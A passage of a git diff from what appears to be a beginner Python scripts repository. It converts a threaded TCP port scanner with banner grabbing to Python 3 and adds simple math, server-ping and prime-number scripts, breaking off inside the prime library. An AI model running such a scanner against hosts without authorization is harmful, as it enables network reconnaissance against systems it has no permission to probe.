a socket - connSkt.connect((tgtHost, tgtPort)) - connSkt.send('') - results=connSkt.recv(100) - screenLock.acquire() # Acquire the lock - print '[+] %d/tcp open'% tgtPort - print '[+] ' + str(results) - except: - screenLock.acquire() - print '[-] %d/tcp closed '% tgtPort - finally: - screenLock.release() - connSkt.close() - -def portScan(tgtHost, tgtPorts): # Start of the function - try: - tgtIP = gethostbyname(tgtHost) # Get the IP from the hostname - except: - print "[-] Cannot resolve '%s': Unknown host"%tgtHost - return - try: - tgtName = gethostbyaddr(tgtIP) # Get hostname from IP - print '\n[+] Scan Results for: ' +tgtName[0] - except: - print '\n[+] Scan Results for: ' + tgtIP - setdefaulttimeout(1) - for tgtPort in tgtPorts: # Scan host and ports - t = Thread(target=connScan, args=(tgtHost, int(tgtPort))) - t.start() +def connScan(tgtHost, tgtPort): # Start of the function + try: + connSkt = socket(AF_INET, SOCK_STREAM) # Open a socket + connSkt.connect((tgtHost, tgtPort)) + connSkt.send("") + results = connSkt.recv(100) + screenLock.acquire() # Acquire the lock + print("[+] %d/tcp open" % tgtPort) + print("[+] " + str(results)) + except: + screenLock.acquire() + print("[-] %d/tcp closed " % tgtPort) + finally: + screenLock.release() + connSkt.close() + + +def portScan(tgtHost, tgtPorts): # Start of the function + try: + tgtIP = gethostbyname(tgtHost) # Get the IP from the hostname + except: + print("[-] Cannot resolve '%s': Unknown host" % tgtHost) + return + try: + tgtName = gethostbyaddr(tgtIP) # Get hostname from IP + print("\n[+] Scan Results for: " + tgtName[0]) + except: + print("\n[+] Scan Results for: " + tgtIP) + setdefaulttimeout(1) + for tgtPort in tgtPorts: # Scan host and ports + t = Thread(target=connScan, args=(tgtHost, int(tgtPort))) + t.start() + def main(): - parser = optparse.OptionParser('usage %prog -H'+' -p ') - parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') - parser.add_option('-p', dest='tgtPort',type='string', help='specify target port[s] seperated by a comma') - (options, args) = parser.parse_args() - tgtHost = options.tgtHost - tgtPorts = str(options.tgtPort).split(',') - if (tgtHost == None) | (tgtPorts[0] == None): - print parser.usage - exit(0) - portScan(tgtHost, tgtPorts) -if __name__ == '__main__': - main() \ No newline at end of file + parser = optparse.OptionParser("usage %prog -H" + " -p ") + parser.add_option("-H", dest="tgtHost", type="string", help="specify target host") + parser.add_option( + "-p", + dest="tgtPort", + type="string", + help="specify target port[s] seperated by a comma", + ) + (options, args) = parser.parse_args() + tgtHost = options.tgtHost + tgtPorts = str(options.tgtPort).split(",") + if (tgtHost == None) | (tgtPorts[0] == None): + print(parser.usage) + exit(0) + portScan(tgtHost, tgtPorts) + + +if __name__ == "__main__": + main() diff --git a/positiveNegetive.py b/positiveNegetive.py new file mode 100644 index 00000000000..ffbc13794a6 --- /dev/null +++ b/positiveNegetive.py @@ -0,0 +1,5 @@ +n = int(input("Enter number: ")) +if n > 0: + print("Number is positive") +else: + print("Number is negative") diff --git a/power_of_n.py b/power_of_n.py new file mode 100644 index 00000000000..f0800006682 --- /dev/null +++ b/power_of_n.py @@ -0,0 +1,58 @@ +# Assign values to author and version. +__author__ = "Himanshu Gupta" +__version__ = "1.0.0" +__date__ = "2023-09-03" + + +def binaryExponentiation(x: float, n: int) -> float: + """ + Function to calculate x raised to the power n (i.e., x^n) where x is a float number and n is an integer and it will return float value + + Example 1: + + Input: x = 2.00000, n = 10 + Output: 1024.0 + Example 2: + + Input: x = 2.10000, n = 3 + Output: 9.261000000000001 + + Example 3: + + Input: x = 2.00000, n = -2 + Output: 0.25 + Explanation: 2^-2 = 1/(2^2) = 1/4 = 0.25 + """ + + if n == 0: + return 1 + + # Handle case where, n < 0. + if n < 0: + n = -1 * n + x = 1.0 / x + + # Perform Binary Exponentiation. + result = 1 + while n != 0: + # If 'n' is odd we multiply result with 'x' and reduce 'n' by '1'. + if n % 2 == 1: + result *= x + n -= 1 + # We square 'x' and reduce 'n' by half, x^n => (x^2)^(n/2). + x *= x + n //= 2 + return result + + +if __name__ == "__main__": + print(f"Author: {__author__}") + print(f"Version: {__version__}") + print(f"Function Documentation: {binaryExponentiation.__doc__}") + print(f"Date: {__date__}") + + print() # Blank Line + + print(binaryExponentiation(2.00000, 10)) + print(binaryExponentiation(2.10000, 3)) + print(binaryExponentiation(2.00000, -2)) diff --git a/power_of_two.py b/power_of_two.py new file mode 100755 index 00000000000..fd666e270b5 --- /dev/null +++ b/power_of_two.py @@ -0,0 +1,11 @@ +# Simple and efficient python program to check whether a number is series of power of two +# Example: +# Input: +# 8 +# Output: +# It comes in power series of 2 +a = int(input("Enter a number")) +if a & (a - 1) == 0: + print("It comes in power series of 2") +else: + print("It does not come in power series of 2") diff --git a/powerdown_startup.py b/powerdown_startup.py index 73af2324d76..7ce5f163c69 100644 --- a/powerdown_startup.py +++ b/powerdown_startup.py @@ -1,42 +1,63 @@ # Script Name : powerdown_startup.py -# Author : Craig Richards -# Created : 05th January 2012 -# Last Modified : -# Version : 1.0 +# Author : Craig Richards +# Created : 05th January 2012 +# Last Modified : 21th September 2017 +# Version : 1.0 + +# Modifications : + +# Description : This goes through the server list and pings the machine, if it's up it will load the putty session, if its not it will notify you. + +import os # Load the Library Module +import subprocess # Load the Library Module +from time import strftime # Load just the strftime Module from Time + + +def windows(): # This is the function to run if it detects the OS is windows. + f = open("server_startup_" + strftime("%Y-%m-%d") + ".log", "a") # Open the logfile + for server in open( + "startup_list.txt", "r" + ): # Read the list of servers from the list + ret = subprocess.call( + "ping -n 3 %s" % server, + shell=True, + stdout=open("NUL", "w"), + stderr=subprocess.STDOUT, + ) # Ping the servers in turn + if ret == 0: # If you get a response. + f.write( + "%s: is alive, loading PuTTY session" % server.strip() + "\n" + ) # Write out to the logfile + subprocess.Popen(("putty -load " + server)) # Load the putty session + else: + f.write( + "%s : did not respond" % server.strip() + "\n" + ) # Write to the logfile if the server is down -# Modifications : - -# Description : This goes through the server list and pings the machine, if it's up it will load the putty session, if its not it will notify you. - -import os # Load the Library Module -import subprocess # Load the Library Module -from time import strftime # Load just the strftime Module from Time - -def windows(): # This is the function to run if it detects the OS is windows. - f = open('server_startup_'+strftime("%Y-%m-%d")+'.log', 'a') # Open the logfile - for server in open('startup_list.txt','r'): # Read the list of servers from the list - ret = subprocess.call("ping -n 3 %s" % server, shell=True,stdout=open('NUL', 'w'),stderr=subprocess.STDOUT) # Ping the servers in turn - if ret == 0: # If you get a response. - f.write ("%s: is alive, loading PuTTY session" % server.strip() + "\n") # Write out to the logfile - subprocess.Popen(('putty -load '+server)) # Load the putty session - else: - f.write ("%s : did not respond" % server.strip() + "\n") # Write to the logfile if the server is down def linux(): - f = open('server_startup_'+strftime("%Y-%m-%d")+'.log', 'a') # Open the logfile - for server in open('startup_list.txt'): # Read the list of servers from the list - ret = subprocess.call("ping -c 3 %s" % server, shell=True,stdout=open('/dev/null', 'w'),stderr=subprocess.STDOUT) # Ping the servers in turn - if ret == 0: # If you get a response. - f.write ("%s: is alive" % server.strip() + "\n") # Print a message - subprocess.Popen(['ssh', server.strip()]) - else: - f.write ("%s: did not respond" % server.strip() + "\n") - -# End of the functions + f = open("server_startup_" + strftime("%Y-%m-%d") + ".log", "a") # Open the logfile + for server in open("startup_list.txt"): # Read the list of servers from the list + ret = subprocess.call( + "ping -c 3 %s" % server, + shell=True, + stdout=open("/dev/null", "w"), + stderr=subprocess.STDOUT, + ) # Ping the servers in turn + if ret == 0: # If you get a response. + f.write("%s: is alive" % server.strip() + "\n") # Print a message + subprocess.Popen(["ssh", server.strip()]) + else: + f.write("%s: did not respond" % server.strip() + "\n") + + +# End of the functions # Start of the Main Program -if os.name == "posix": # If the OS is linux... - linux() # Call the linux function -elif os.name in ("nt", "dos", "ce"): # If the OS is Windows... - windows() # Call the windows function \ No newline at end of file +if os.name == "posix": # If the OS is linux... + linux() # Call the linux function +elif os.name in ("nt", "dos", "ce"): # If the OS is Windows... + windows() # Call the windows function +else: + print("Not supported") diff --git a/powers of 2.py b/powers of 2.py new file mode 100644 index 00000000000..919f1e1528f --- /dev/null +++ b/powers of 2.py @@ -0,0 +1,13 @@ +# Display the powers of 2 using anonymous function + +terms = 10 + +# Uncomment code below to take input from the user +# terms = int(input("How many terms? ")) + +# use anonymous function +result = list(map(lambda x: 2**x, range(terms))) + +print("The total terms are:", terms) +for i in range(terms): + print("2 raised to power", i, "is", result[i]) diff --git a/powerup_checks.py b/powerup_checks.py index 90b6babf571..b29cd43ba61 100644 --- a/powerup_checks.py +++ b/powerup_checks.py @@ -1,98 +1,139 @@ +from __future__ import print_function + +import os # Load the Library Module +import sqlite3 # Load the Library Module +import subprocess # Load the Library Module +import sys # Load the Library Module +from time import strftime # Load just the strftime Module from Time + # Script Name : powerup_checks.py # Author : Craig Richards # Created : 25th June 2013 -# Last Modified : +# Last Modified : # Version : 1.0 +# Modifications : +# Description : Creates an output file by pulling all the servers for the given site from SQLITE database, then goes through the list pinging the servers to see if they are up on the network -# Modifications : +dropbox = os.getenv( + "dropbox" +) # Set the variable, by getting the value of the variable from the OS +config = os.getenv( + "my_config" +) # Set the variable, by getting the value of the variable from the OS +dbfile = "Databases/jarvis.db" # Set the variable to the database +master_db = os.path.join( + dropbox, dbfile +) # Create the variable by linking the path and the file +listfile = "startup_list.txt" # File that will hold the servers +serverfile = os.path.join( + config, listfile +) # Create the variable by linking the path and the file +outputfile = "server_startup_" + strftime("%Y-%m-%d-%H-%M") + ".log" -# Description : Creates an output file by pulling all the servers for the given site from SQLITE database, then goes through the list pinging the servers to see if they are up on the network +# Below is the help text -import sys # Load the Library Module -import sqlite3 # Load the Library Module -import os # Load the Library Module -import subprocess # Load the Library Module -from time import strftime # Load just the strftime Module from Time +text = """ +You need to pass an argument, the options the script expects is -dropbox=os.getenv("dropbox") # Set the variable, by getting the value of the variable from the OS -config=os.getenv("my_config") # Set the variable, by getting the value of the variable from the OS -dbfile=("Databases/jarvis.db") # Set the variable to the database -master_db=os.path.join(dropbox, dbfile) # Create the variable by linking the path and the file -listfile=("startup_list.txt") # File that will hold the servers -serverfile=os.path.join(config,listfile) # Create the variable by linking the path and the file -outputfile=('server_startup_'+strftime("%Y-%m-%d-%H-%M")+'.log') + -site1 For the Servers relating to site1 + -site2 For the Servers located in site2""" -# Below is the help text -text = ''' +def windows(): # This is the function to run if it detects the OS is windows. + f = open(outputfile, "a") # Open the logfile + for server in open(serverfile, "r"): # Read the list of servers from the list + # ret = subprocess.call("ping -n 3 %s" % server.strip(), shell=True,stdout=open('NUL', 'w'),stderr=subprocess.STDOUT) # Ping the servers in turn + ret = subprocess.call( + "ping -n 3 %s" % server.strip(), + stdout=open("NUL", "w"), + stderr=subprocess.STDOUT, + ) # Ping the servers in turn + if ret == 0: # Depending on the response + f.write( + "%s: is alive" % server.strip().ljust(15) + "\n" + ) # Write out to the logfile is the server is up + else: + f.write( + "%s: did not respond" % server.strip().ljust(15) + "\n" + ) # Write to the logfile if the server is down -You need to pass an argument, the options the script expects is - -site1 For the Servers relating to site1 - -site2 For the Servers located in site2''' - -def windows(): # This is the function to run if it detects the OS is windows. - f = open(outputfile, 'a') # Open the logfile - for server in open(serverfile,'r'): # Read the list of servers from the list - #ret = subprocess.call("ping -n 3 %s" % server.strip(), shell=True,stdout=open('NUL', 'w'),stderr=subprocess.STDOUT) # Ping the servers in turn - ret = subprocess.call("ping -n 3 %s" % server.strip(),stdout=open('NUL', 'w'),stderr=subprocess.STDOUT) # Ping the servers in turn - if ret == 0: # Depending on the response - f.write ("%s: is alive" % server.strip().ljust(15) + "\n") # Write out to the logfile is the server is up - else: - f.write ("%s: did not respond" % server.strip().ljust(15) + "\n") # Write to the logfile if the server is down - - -def linux(): # This is the function to run if it detects the OS is nix. - f = open('server_startup_'+strftime("%Y-%m-%d")+'.log', 'a') # Open the logfile - for server in open(serverfile,'r'): # Read the list of servers from the list - ret = subprocess.call("ping -c 3 %s" % server, shell=True,stdout=open('/dev/null', 'w'),stderr=subprocess.STDOUT) # Ping the servers in turn - if ret == 0: # Depending on the response - f.write ("%s: is alive" % server.strip().ljust(15) + "\n") # Write out to the logfile is the server is up - else: - f.write ("%s: did not respond" % server.strip().ljust(15) + "\n") # Write to the logfile if the server is down - -def get_servers(query): # Function to get the servers from the database - conn = sqlite3.connect(master_db) # Connect to the database - cursor = conn.cursor() # Create the cursor - cursor.execute('select hostname from tp_servers where location =?',(query,)) # SQL Statement - print ('\nDisplaying Servers for : ' + query + '\n') - while True: # While there are results - row = cursor.fetchone() # Return the results - if row == None: - break - f = open(serverfile, 'a') # Open the serverfile - f.write("%s\n" % str(row[0])) # Write the server out to the file - print row[0] # Display the server to the screen - f.close() # Close the file - -def main(): # Main Function - if os.path.exists(serverfile): # Checks to see if there is an existing server file - os.remove(serverfile) # If so remove it - - if len(sys.argv) < 2: # Check there is an argument being passed - print text # Display the help text if there isn't one passed - sys.exit() # Exit the script - - if '-h' in sys.argv or '--h' in sys.argv or '-help' in sys.argv or '--help' in sys.argv: # If the ask for help - print text # Display the help text if there isn't one passed - sys.exit(0) # Exit the script after displaying help - else: - if sys.argv[1].lower().startswith('-site1'): # If the argument is site1 - query = 'site1' # Set the variable to have the value site - elif sys.argv[1].lower().startswith('-site2'): # Else if the variable is bromley - query = 'site2' # Set the variable to have the value bromley +def linux(): # This is the function to run if it detects the OS is nix. + f = open("server_startup_" + strftime("%Y-%m-%d") + ".log", "a") # Open the logfile + for server in open(serverfile, "r"): # Read the list of servers from the list + ret = subprocess.call( + "ping -c 3 %s" % server, + shell=True, + stdout=open("/dev/null", "w"), + stderr=subprocess.STDOUT, + ) # Ping the servers in turn + if ret == 0: # Depending on the response + f.write( + "%s: is alive" % server.strip().ljust(15) + "\n" + ) # Write out to the logfile is the server is up + else: + f.write( + "%s: did not respond" % server.strip().ljust(15) + "\n" + ) # Write to the logfile if the server is down + + +def get_servers(query): # Function to get the servers from the database + conn = sqlite3.connect(master_db) # Connect to the database + cursor = conn.cursor() # Create the cursor + cursor.execute( + "select hostname from tp_servers where location =?", (query,) + ) # SQL Statement + print("\nDisplaying Servers for : " + query + "\n") + while True: # While there are results + row = cursor.fetchone() # Return the results + if row == None: + break + f = open(serverfile, "a") # Open the serverfile + f.write("%s\n" % str(row[0])) # Write the server out to the file + print(row[0]) # Display the server to the screen + f.close() # Close the file + + +def main(): # Main Function + if os.path.exists(serverfile): # Checks to see if there is an existing server file + os.remove(serverfile) # If so remove it + + if len(sys.argv) < 2: # Check there is an argument being passed + print(text) # Display the help text if there isn't one passed + sys.exit() # Exit the script + + if ( + "-h" in sys.argv + or "--h" in sys.argv + or "-help" in sys.argv + or "--help" in sys.argv + ): # If the ask for help + print(text) # Display the help text if there isn't one passed + sys.exit(0) # Exit the script after displaying help else: - print '\n[-] Unknown option [-] ' + text # If an unknown option is passed, let the user know - sys.exit(0) - get_servers(query) # Call the get servers funtion, with the value from the argument - - if os.name == "posix": # If the OS is linux. - linux() # Call the linux function - elif os.name in ("nt", "dos", "ce"): # If the OS is Windows... - windows() # Call the windows function - - print ('\n[+] Check the log file ' + outputfile + ' [+]\n') # Display the name of the log - -if __name__ == '__main__': - main() # Call the main function \ No newline at end of file + if sys.argv[1].lower().startswith("-site1"): # If the argument is site1 + query = "site1" # Set the variable to have the value site + elif ( + sys.argv[1].lower().startswith("-site2") + ): # Else if the variable is bromley + query = "site2" # Set the variable to have the value bromley + else: + print( + "\n[-] Unknown option [-] " + text + ) # If an unknown option is passed, let the user know + sys.exit(0) + get_servers(query) # Call the get servers funtion, with the value from the argument + + if os.name == "posix": # If the OS is linux. + linux() # Call the linux function + elif os.name in ("nt", "dos", "ce"): # If the OS is Windows... + windows() # Call the windows function + + print( + "\n[+] Check the log file " + outputfile + " [+]\n" + ) # Display the name of the log + + +if __name__ == "__main__": + main() # Call the main function diff --git a/primelib/Prime.txt b/primelib/Prime.txt new file mode 100644 index 00000000000..801324b3c35 --- /dev/null +++ b/primelib/Prime.txt @@ -0,0 +1,22 @@ +# Program to check if a number is prime or not + +num = 407 + +# To take input from the user +#num = int(input("Enter a number: ")) + +# prime numbers are greater than 1 +if num > 1: + # check for factors + for i in range(2,num): + if (num % i) == 0: + print(num,"is not a prime number") + print(i,"times",num//i,"is",num) + break + else: + print(num,"is a prime number") + +# if input number is less than +# or equal to 1, it is not prime +else: + print(num,"is not a prime number") diff --git a/primelib/README b/primelib/README new file mode 100644 index 00000000000..321fb4bb19a --- /dev/null +++ b/primelib/README @@ -0,0 +1,186 @@ +Free open-source library from Christian Bender + +This python library contains some useful functions to deal with +prime numbers and whole numbers. + +The file primelib.py or primliby.pyc will simply import by the import-statement. +Important primelib.py or primelib.pyc must been in your project directory. + +Example: (In your project) + +import primelib + +print primelib.isPrime(13) // will print out 'True' +print primelib.primeFactorization(40) // will print out [2,2,2,5] + +OR + +from primelib import * + +print isPrime(...) + +More information about the functions. + +help(function_name) + +For example: + +help(isPrime) + +--------------------------- + +Overview about functions: + +------------------------- + +isPrime (number) + +input: positive integer 'number' +returns true if 'number' is prime otherwise false. + +------------------------- + +sieveEr (N) + +input: positive integer 'N' > 2 +returns a list of prime numbers from 2 up to N. + +This function implements the algorithm called +sieve of erathostenes. + +--------------------------- + +getPrimeNumbers (N) + +input: positive integer 'N' > 2 +returns a list of prime numbers from 2 up to N (inclusive) +This function is more efficient as function sieveEr(...) + + +---------------------------- + +primeFactorization (number) + +input: positive integer 'number' +returns a list of the prime number factors of 'number' + +------------------------------- + +greatestPrimeFactor (number) + +input: integer 'number' >= 0 +returns the greatest prime number factor of 'number' + +--------------------------------- + +smallestPrimeFactor (number) + +input: integer 'number' >= 0 +returns the smallest prime number factor of 'number' + +---------------------------------- + +getPrime (n) + +Gets the n-th prime-number. + +input: positive integer 'n' >= 0 +returns the n-th prime number, beginning at index 0 + +------------------------------------- + +getPrimesBetween (pNumber1, pNumber2) + +input: prime numbers 'pNumber1' and 'pNumber2' +precondition: pNumber1 < pNumber2 +returns a list of all prime numbers between 'pNumber1' (exclusiv) + and 'pNumber2' (exclusiv) + +-------------------------------------- + +isEven (number) + +input: integer 'number' +returns true if 'number' is even, otherwise false. + +----------------------------------- + +isOdd (number) + +input: integer 'number' +returns true if 'number' is odd, otherwise false. + +------------------------------------ + +gcd (number1, number2) + +Greatest common divisor + +input: two positive integer 'number1' and 'number2' +returns the greatest common divisor of 'number1' and 'number2' + +------------------------------------- + +kgV (number1, number2) + +Least common multiple + +input: two positive integer 'number1' and 'number2' +returns the least common multiple of 'number1' and 'number2' + +----------------------------------------- + +NEW-FUNCTION + +getDivisors (number) + +input: positive integer 'n' >= 1 +returns all divisors of n (inclusive 1 and 'number') + +------------------------------------------- + +NEW-FUNCTIONS + +isPerfectNumber (number) + +input: positive integer 'number' > 1 +returns true if 'number' is a perfect number otherwise false. + +--------------------------------------- + +NEW-FUNCTION + +simplifyFraction (numerator, denominator) + +input: two integer 'numerator' and 'denominator' +assumes: 'denominator' != 0 +returns: a tuple with simplify numerator and denominator. + +---------------------------------------------- + +NEW-FUNCTION + +factorial (n) + +input: positive integer 'n' +returns the factorial of 'n' (n!) + + +----------------------------------------------- + +NEW-FUNCTION + +fib (n) + +input: positive integer 'n' +returns the n-th fibonacci term , indexing by 0 + + +----------------------------------------------- + +goldbach(number) + +Goldbach's assumption + +input: a even positive integer 'number' > 2 +returns a list of two prime numbers whose sum is equal to 'number' diff --git a/primelib/primelib.py b/primelib/primelib.py new file mode 100644 index 00000000000..e43f267c7d2 --- /dev/null +++ b/primelib/primelib.py @@ -0,0 +1,634 @@ +# -*- coding: utf-8 -*- +""" +Created on Thu Oct 5 16:44:23 2017 + +@author: Christian Bender + +This python library contains some useful functions to deal with +prime numbers and whole numbers. + +Overview: + +isPrime(number) +sieveEr(N) +getPrimeNumbers(N) +primeFactorization(number) +greatestPrimeFactor(number) +smallestPrimeFactor(number) +getPrime(n) +getPrimesBetween(pNumber1, pNumber2) + +---- + +isEven(number) +isOdd(number) +gcd(number1, number2) // greatest common divisor +kgV(number1, number2) // least common multiple +getDivisors(number) // all divisors of 'number' inclusive 1, number +isPerfectNumber(number) + +NEW-FUNCTIONS + +simplifyFraction(numerator, denominator) +factorial (n) // n! +fib (n) // calculate the n-th fibonacci term. + +----- + +goldbach(number) // Goldbach's assumption + +""" + + +def pi(maxK=70, prec=1008, disp=1007): + """ + maxK: nuber of iterations + prec: precision of decimal places + disp: number of decimal places shown + """ + from decimal import Decimal as Dec, getcontext as gc + + gc().prec = prec + K, M, L, X, S = 6, 1, 13591409, 1, 13591409 + for k in range(1, maxK + 1): + M = Dec((K**3 - (K << 4)) * M / k**3) + L += 545140134 + X *= -262537412640768000 + S += Dec(M * L) / X + K += 12 + pi = 426880 * Dec(10005).sqrt() / S + pi = Dec(str(pi)[:disp]) + return pi + + +def isPrime(number): + """ + input: positive integer 'number' + returns true if 'number' is prime otherwise false. + """ + + # precondition + assert isinstance(number, int) and (number >= 0), ( + "'number' must been an int and positive" + ) + + # 0 and 1 are none primes. + if number <= 3: + return number > 1 + elif number % 2 == 0 or number % 3 == 0: + return False + + i = 5 + while i * i <= number: + if number % i == 0 or number % (i + 2) == 0: + return False + i += 6 + + return True + + +# ------------------------------------------ + + +def sieveEr(N): + """ + input: positive integer 'N' > 2 + returns a list of prime numbers from 2 up to N. + + This function implements the algorithm called + sieve of erathostenes. + + """ + from math import sqrt + + # precondition + assert isinstance(N, int) and (N > 2), "'N' must been an int and > 2" + + primes = [True for x in range(N + 1)] + + for p in range(2, int(sqrt(N)) + 1): + if primes[p]: + for i in range(p * p, N + 1, p): + primes[i] = False + primes[0] = False + primes[1] = False + ret = [] + for p in range(N + 1): + if primes[p]: + ret.append(p) + + return ret + + +# -------------------------------- + + +def getPrimeNumbers(N): + """ + input: positive integer 'N' > 2 + returns a list of prime numbers from 2 up to N (inclusive) + This function is more efficient as function 'sieveEr(...)' + """ + + # precondition + assert isinstance(N, int) and (N > 2), "'N' must been an int and > 2" + + ans = [] + + # iterates over all numbers between 2 up to N+1 + # if a number is prime then appends to list 'ans' + for number in range(2, N + 1): + if isPrime(number): + ans.append(number) + + # precondition + assert isinstance(ans, list), "'ans' must been from type list" + + return ans + + +# ----------------------------------------- + + +def primeFactorization(number): + """ + input: positive integer 'number' + returns a list of the prime number factors of 'number' + """ + + # precondition + assert isinstance(number, int) and number >= 0, "'number' must been an int and >= 0" + + ans = [] # this list will be returns of the function. + + # potential prime number factors. + + factor = 2 + + quotient = number + + if number == 0 or number == 1: + ans.append(number) + + # if 'number' not prime then builds the prime factorization of 'number' + elif not isPrime(number): + while quotient != 1: + if isPrime(factor) and (quotient % factor == 0): + ans.append(factor) + quotient /= factor + else: + factor += 1 + + else: + ans.append(number) + + # precondition + assert isinstance(ans, list), "'ans' must been from type list" + + return ans + + +# ----------------------------------------- + + +def greatestPrimeFactor(number): + """ + input: positive integer 'number' >= 0 + returns the greatest prime number factor of 'number' + """ + + # precondition + assert isinstance(number, int) and (number >= 0), ( + "'number' bust been an int and >= 0" + ) + + ans = 0 + + # prime factorization of 'number' + primeFactors = primeFactorization(number) + + ans = max(primeFactors) + + # precondition + assert isinstance(ans, int), "'ans' must been from type int" + + return ans + + +# ---------------------------------------------- + + +def smallestPrimeFactor(number): + """ + input: integer 'number' >= 0 + returns the smallest prime number factor of 'number' + """ + + # precondition + assert isinstance(number, int) and (number >= 0), ( + "'number' bust been an int and >= 0" + ) + + ans = 0 + + # prime factorization of 'number' + primeFactors = primeFactorization(number) + + ans = min(primeFactors) + + # precondition + assert isinstance(ans, int), "'ans' must been from type int" + + return ans + + +# ---------------------- + + +def isEven(number): + """ + input: integer 'number' + returns true if 'number' is even, otherwise false. + """ + + # precondition + assert isinstance(number, int), "'number' must been an int" + assert isinstance(number % 2 == 0, bool), "compare bust been from type bool" + + return number % 2 == 0 + + +# ------------------------ + + +def isOdd(number): + """ + input: integer 'number' + returns true if 'number' is odd, otherwise false. + """ + + # precondition + assert isinstance(number, int), "'number' must been an int" + assert isinstance(number % 2 != 0, bool), "compare bust been from type bool" + + return number % 2 != 0 + + +# ------------------------ + + +def goldbach(number): + """ + Goldbach's assumption + input: a even positive integer 'number' > 2 + returns a list of two prime numbers whose sum is equal to 'number' + """ + + # precondition + assert isinstance(number, int) and (number > 2) and isEven(number), ( + "'number' must been an int, even and > 2" + ) + + ans = [] # this list will returned + + # creates a list of prime numbers between 2 up to 'number' + primeNumbers = getPrimeNumbers(number) + lenPN = len(primeNumbers) + + # run variable for while-loops. + i = 0 + j = 1 + + # exit variable. for break up the loops + loop = True + + while i < lenPN and loop: + j = i + 1 + + while j < lenPN and loop: + if primeNumbers[i] + primeNumbers[j] == number: + loop = False + ans.append(primeNumbers[i]) + ans.append(primeNumbers[j]) + + j += 1 + + i += 1 + + # precondition + assert ( + isinstance(ans, list) + and (len(ans) == 2) + and (ans[0] + ans[1] == number) + and isPrime(ans[0]) + and isPrime(ans[1]) + ), "'ans' must contains two primes. And sum of elements must been eq 'number'" + + return ans + + +# ---------------------------------------------- + + +def gcd(number1, number2): + """ + Greatest common divisor + input: two positive integer 'number1' and 'number2' + returns the greatest common divisor of 'number1' and 'number2' + """ + + # precondition + assert ( + isinstance(number1, int) + and isinstance(number2, int) + and (number1 >= 0) + and (number2 >= 0) + ), "'number1' and 'number2' must been positive integer." + + rest = 0 + + while number2 != 0: + rest = number1 % number2 + number1 = number2 + number2 = rest + + # precondition + assert isinstance(number1, int) and (number1 >= 0), ( + "'number' must been from type int and positive" + ) + + return number1 + + +# ---------------------------------------------------- + + +def kgV(number1, number2): + """ + Least common multiple + input: two positive integer 'number1' and 'number2' + returns the least common multiple of 'number1' and 'number2' + """ + + # precondition + assert ( + isinstance(number1, int) + and isinstance(number2, int) + and (number1 >= 1) + and (number2 >= 1) + ), "'number1' and 'number2' must been positive integer." + + ans = 1 # actual answer that will be return. + + # for kgV (x,1) + if number1 > 1 and number2 > 1: + # builds the prime factorization of 'number1' and 'number2' + primeFac1 = primeFactorization(number1) + primeFac2 = primeFactorization(number2) + + elif number1 == 1 or number2 == 1: + primeFac1 = [] + primeFac2 = [] + ans = max(number1, number2) + + count1 = 0 + count2 = 0 + + done = [] # captured numbers int both 'primeFac1' and 'primeFac2' + + # iterates through primeFac1 + for n in primeFac1: + if n not in done: + if n in primeFac2: + count1 = primeFac1.count(n) + count2 = primeFac2.count(n) + + for i in range(max(count1, count2)): + ans *= n + + else: + count1 = primeFac1.count(n) + + for i in range(count1): + ans *= n + + done.append(n) + + # iterates through primeFac2 + for n in primeFac2: + if n not in done: + count2 = primeFac2.count(n) + + for i in range(count2): + ans *= n + + done.append(n) + + # precondition + assert isinstance(ans, int) and (ans >= 0), ( + "'ans' must been from type int and positive" + ) + + return ans + + +# ---------------------------------- + + +def getPrime(n): + """ + Gets the n-th prime number. + input: positive integer 'n' >= 0 + returns the n-th prime number, beginning at index 0 + """ + + # precondition + assert isinstance(n, int) and (n >= 0), "'number' must been a positive int" + + index = 0 + ans = 2 # this variable holds the answer + + while index < n: + index += 1 + + ans += 1 # counts to the next number + + # if ans not prime then + # runs to the next prime number. + while not isPrime(ans): + ans += 1 + + # precondition + assert isinstance(ans, int) and isPrime(ans), ( + "'ans' must been a prime number and from type int" + ) + + return ans + + +# --------------------------------------------------- + + +def getPrimesBetween(pNumber1, pNumber2): + """ + input: prime numbers 'pNumber1' and 'pNumber2' + pNumber1 < pNumber2 + returns a list of all prime numbers between 'pNumber1' (exclusiv) + and 'pNumber2' (exclusiv) + """ + + # precondition + assert isPrime(pNumber1) and isPrime(pNumber2) and (pNumber1 < pNumber2), ( + "The arguments must been prime numbers and 'pNumber1' < 'pNumber2'" + ) + + number = pNumber1 + 1 # jump to the next number + + ans = [] # this list will be returns. + + # if number is not prime then + # fetch the next prime number. + while not isPrime(number): + number += 1 + + while number < pNumber2: + ans.append(number) + + number += 1 + + # fetch the next prime number. + while not isPrime(number): + number += 1 + + # precondition + assert ( + isinstance(ans, list) and ans[0] != pNumber1 and ans[len(ans) - 1] != pNumber2 + ), "'ans' must been a list without the arguments" + + # 'ans' contains not 'pNumber1' and 'pNumber2' ! + return ans + + +# ---------------------------------------------------- + + +def getDivisors(n): + """ + input: positive integer 'n' >= 1 + returns all divisors of n (inclusive 1 and 'n') + """ + + # precondition + assert isinstance(n, int) and (n >= 1), "'n' must been int and >= 1" + + ans = [] # will be returned. + + for divisor in range(1, n + 1): + if n % divisor == 0: + ans.append(divisor) + + # precondition + assert ans[0] == 1 and ans[len(ans) - 1] == n, "Error in function getDivisiors(...)" + + return ans + + +# ---------------------------------------------------- + + +def isPerfectNumber(number): + """ + input: positive integer 'number' > 1 + returns true if 'number' is a perfect number otherwise false. + """ + + # precondition + assert isinstance(number, int) and (number > 1), ( + "'number' must been an int and >= 1" + ) + + divisors = getDivisors(number) + + # precondition + assert ( + isinstance(divisors, list) + and (divisors[0] == 1) + and (divisors[len(divisors) - 1] == number) + ), "Error in help-function getDivisiors(...)" + + # summed all divisors up to 'number' (exclusive), hence [:-1] + return sum(divisors[:-1]) == number + + +# ------------------------------------------------------------ + + +def simplifyFraction(numerator, denominator): + """ + input: two integer 'numerator' and 'denominator' + assumes: 'denominator' != 0 + returns: a tuple with simplify numerator and denominator. + """ + + # precondition + assert ( + isinstance(numerator, int) + and isinstance(denominator, int) + and (denominator != 0) + ), "The arguments must been from type int and 'denominator' != 0" + + # build the greatest common divisor of numerator and denominator. + gcdOfFraction = gcd(abs(numerator), abs(denominator)) + + # precondition + assert ( + isinstance(gcdOfFraction, int) + and (numerator % gcdOfFraction == 0) + and (denominator % gcdOfFraction == 0) + ), "Error in function gcd(...,...)" + + return (numerator // gcdOfFraction, denominator // gcdOfFraction) + + +# ----------------------------------------------------------------- + + +def factorial(n): + """ + 